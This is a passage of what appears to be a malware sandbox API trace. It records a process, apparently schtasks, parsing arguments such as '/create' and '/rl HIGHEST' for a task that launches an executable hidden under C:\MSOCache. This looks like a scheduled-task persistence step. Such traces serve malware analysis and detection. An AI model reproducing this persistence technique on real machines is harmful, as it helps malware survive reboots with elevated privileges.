(lpStart=" \x09", wMatch=0x2d) returned 0x0 [0116.118] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0116.119] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0116.120] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0116.120] GetLastError () returned 0x0 [0116.120] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0116.120] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'") returned 76 [0116.120] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.120] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.120] lstrlenW (lpString="/rl") returned 3 [0116.120] lstrlenW (lpString="-/") returned 2 [0116.120] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.120] lstrlenW (lpString="create") returned 6 [0116.120] lstrlenW (lpString="create") returned 6 [0116.120] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.120] lstrlenW (lpString="rl") returned 2 [0116.120] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.120] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.120] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.120] lstrlenW (lpString="|create|") returned 8 [0116.120] lstrlenW (lpString="|rl|") returned 4 [0116.120] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0116.120] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.120] lstrlenW (lpString="?") returned 1 [0116.120] lstrlenW (lpString="?") returned 1 [0116.120] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.120] lstrlenW (lpString="rl") returned 2 [0116.120] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.120] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|?|") returned 3 [0116.120] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.121] lstrlenW (lpString="|?|") returned 3 [0116.121] lstrlenW (lpString="|rl|") returned 4 [0116.121] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.121] lstrlenW (lpString="s") returned 1 [0116.121] lstrlenW (lpString="s") returned 1 [0116.121] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.121] lstrlenW (lpString="rl") returned 2 [0116.121] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.121] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|s|") returned 3 [0116.121] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.121] lstrlenW (lpString="|s|") returned 3 [0116.121] lstrlenW (lpString="|rl|") returned 4 [0116.121] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.121] lstrlenW (lpString="u") returned 1 [0116.121] lstrlenW (lpString="u") returned 1 [0116.121] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.121] lstrlenW (lpString="rl") returned 2 [0116.121] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.180] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|u|") returned 3 [0116.180] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.180] lstrlenW (lpString="|u|") returned 3 [0116.180] lstrlenW (lpString="|rl|") returned 4 [0116.180] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.180] lstrlenW (lpString="p") returned 1 [0116.180] lstrlenW (lpString="p") returned 1 [0116.180] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.180] lstrlenW (lpString="rl") returned 2 [0116.180] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.180] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|p|") returned 3 [0116.180] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.180] lstrlenW (lpString="|p|") returned 3 [0116.180] lstrlenW (lpString="|rl|") returned 4 [0116.180] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.180] lstrlenW (lpString="ru") returned 2 [0116.180] lstrlenW (lpString="ru") returned 2 [0116.180] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.180] lstrlenW (lpString="rl") returned 2 [0116.180] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.180] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ru|") returned 4 [0116.180] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.181] lstrlenW (lpString="|ru|") returned 4 [0116.181] lstrlenW (lpString="|rl|") returned 4 [0116.181] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0116.181] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.181] lstrlenW (lpString="rp") returned 2 [0116.181] lstrlenW (lpString="rp") returned 2 [0116.181] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.181] lstrlenW (lpString="rl") returned 2 [0116.181] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.181] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rp|") returned 4 [0116.181] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.181] lstrlenW (lpString="|rp|") returned 4 [0116.181] lstrlenW (lpString="|rl|") returned 4 [0116.181] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0116.181] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.181] lstrlenW (lpString="sc") returned 2 [0116.181] lstrlenW (lpString="sc") returned 2 [0116.181] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.181] lstrlenW (lpString="rl") returned 2 [0116.181] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.181] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.181] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.181] lstrlenW (lpString="|sc|") returned 4 [0116.181] lstrlenW (lpString="|rl|") returned 4 [0116.181] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0116.181] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.181] lstrlenW (lpString="mo") returned 2 [0116.181] lstrlenW (lpString="mo") returned 2 [0116.182] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.182] lstrlenW (lpString="rl") returned 2 [0116.182] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.182] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.182] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.182] lstrlenW (lpString="|mo|") returned 4 [0116.182] lstrlenW (lpString="|rl|") returned 4 [0116.182] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0116.182] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.182] lstrlenW (lpString="d") returned 1 [0116.182] lstrlenW (lpString="d") returned 1 [0116.182] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.182] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.182] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|d|") returned 3 [0116.182] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.182] lstrlenW (lpString="|d|") returned 3 [0116.182] lstrlenW (lpString="|rl|") returned 4 [0116.182] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.182] lstrlenW (lpString="m") returned 1 [0116.182] lstrlenW (lpString="m") returned 1 [0116.182] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.182] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.182] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|m|") returned 3 [0116.182] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.182] lstrlenW (lpString="|m|") returned 3 [0116.182] lstrlenW (lpString="|rl|") returned 4 [0116.182] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.182] lstrlenW (lpString="i") returned 1 [0116.183] lstrlenW (lpString="i") returned 1 [0116.183] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.183] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.183] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|i|") returned 3 [0116.183] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.183] lstrlenW (lpString="|i|") returned 3 [0116.183] lstrlenW (lpString="|rl|") returned 4 [0116.183] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.183] lstrlenW (lpString="tn") returned 2 [0116.183] lstrlenW (lpString="tn") returned 2 [0116.183] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.183] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.183] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.183] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.183] lstrlenW (lpString="|tn|") returned 4 [0116.183] lstrlenW (lpString="|rl|") returned 4 [0116.183] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0116.183] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.183] lstrlenW (lpString="tr") returned 2 [0116.183] lstrlenW (lpString="tr") returned 2 [0116.183] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.183] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.183] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.183] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.183] lstrlenW (lpString="|tr|") returned 4 [0116.183] lstrlenW (lpString="|rl|") returned 4 [0116.183] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0116.183] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.183] lstrlenW (lpString="st") returned 2 [0116.184] lstrlenW (lpString="st") returned 2 [0116.184] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.184] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.184] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|st|") returned 4 [0116.184] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.184] lstrlenW (lpString="|st|") returned 4 [0116.184] lstrlenW (lpString="|rl|") returned 4 [0116.184] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0116.184] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.184] lstrlenW (lpString="sd") returned 2 [0116.184] lstrlenW (lpString="sd") returned 2 [0116.184] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.184] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.184] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sd|") returned 4 [0116.184] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.184] lstrlenW (lpString="|sd|") returned 4 [0116.184] lstrlenW (lpString="|rl|") returned 4 [0116.184] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0116.184] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.184] lstrlenW (lpString="ed") returned 2 [0116.184] lstrlenW (lpString="ed") returned 2 [0116.185] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.185] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.185] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ed|") returned 4 [0116.185] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.185] lstrlenW (lpString="|ed|") returned 4 [0116.185] lstrlenW (lpString="|rl|") returned 4 [0116.185] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0116.185] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.185] lstrlenW (lpString="it") returned 2 [0116.185] lstrlenW (lpString="it") returned 2 [0116.185] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.185] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.185] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|it|") returned 4 [0116.185] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.185] lstrlenW (lpString="|it|") returned 4 [0116.185] lstrlenW (lpString="|rl|") returned 4 [0116.185] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0116.185] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.185] lstrlenW (lpString="et") returned 2 [0116.185] lstrlenW (lpString="et") returned 2 [0116.185] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.185] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.185] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|et|") returned 4 [0116.185] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.185] lstrlenW (lpString="|et|") returned 4 [0116.185] lstrlenW (lpString="|rl|") returned 4 [0116.185] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0116.185] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.185] lstrlenW (lpString="k") returned 1 [0116.186] lstrlenW (lpString="k") returned 1 [0116.186] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.186] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.186] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|k|") returned 3 [0116.186] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.186] lstrlenW (lpString="|k|") returned 3 [0116.186] lstrlenW (lpString="|rl|") returned 4 [0116.186] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.186] lstrlenW (lpString="du") returned 2 [0116.186] lstrlenW (lpString="du") returned 2 [0116.186] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.186] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.186] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|du|") returned 4 [0116.186] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.186] lstrlenW (lpString="|du|") returned 4 [0116.186] lstrlenW (lpString="|rl|") returned 4 [0116.186] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0116.186] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.186] lstrlenW (lpString="ri") returned 2 [0116.186] lstrlenW (lpString="ri") returned 2 [0116.186] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.186] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.186] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ri|") returned 4 [0116.186] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.186] lstrlenW (lpString="|ri|") returned 4 [0116.186] lstrlenW (lpString="|rl|") returned 4 [0116.186] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0116.186] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.186] lstrlenW (lpString="z") returned 1 [0116.187] lstrlenW (lpString="z") returned 1 [0116.187] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.187] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.187] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|z|") returned 3 [0116.187] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.187] lstrlenW (lpString="|z|") returned 3 [0116.187] lstrlenW (lpString="|rl|") returned 4 [0116.187] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.187] lstrlenW (lpString="f") returned 1 [0116.187] lstrlenW (lpString="f") returned 1 [0116.187] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.187] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.187] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.187] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.187] lstrlenW (lpString="|f|") returned 3 [0116.187] lstrlenW (lpString="|rl|") returned 4 [0116.187] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.187] lstrlenW (lpString="v1") returned 2 [0116.187] lstrlenW (lpString="v1") returned 2 [0116.187] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.187] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.187] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|v1|") returned 4 [0116.187] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.187] lstrlenW (lpString="|v1|") returned 4 [0116.187] lstrlenW (lpString="|rl|") returned 4 [0116.187] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0116.188] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.188] lstrlenW (lpString="xml") returned 3 [0116.188] lstrlenW (lpString="xml") returned 3 [0116.188] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.188] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.188] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x6, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|xml|") returned 5 [0116.188] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.188] lstrlenW (lpString="|xml|") returned 5 [0116.188] lstrlenW (lpString="|rl|") returned 4 [0116.188] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0116.188] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.188] lstrlenW (lpString="ec") returned 2 [0116.188] lstrlenW (lpString="ec") returned 2 [0116.188] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.188] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.188] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ec|") returned 4 [0116.188] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.188] lstrlenW (lpString="|ec|") returned 4 [0116.188] lstrlenW (lpString="|rl|") returned 4 [0116.188] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0116.188] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.188] lstrlenW (lpString="rl") returned 2 [0116.188] lstrlenW (lpString="rl") returned 2 [0116.188] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.188] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.188] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.188] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rl|") returned 4 [0116.188] lstrlenW (lpString="|rl|") returned 4 [0116.188] lstrlenW (lpString="|rl|") returned 4 [0116.189] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] lstrlenW (lpString="HIGHEST") returned 7 [0116.189] lstrlenW (lpString="-/") returned 2 [0116.189] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] lstrlenW (lpString="HIGHEST") returned 7 [0116.189] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] _memicmp (_Buf1=0x1b20792abf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.189] lstrlenW (lpString="HIGHEST") returned 7 [0116.189] lstrlenW (lpString="HIGHEST") returned 7 [0116.189] lstrlenW (lpString=" \x09") returned 2 [0116.189] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0116.189] StrChrW (lpStart=" \x09", 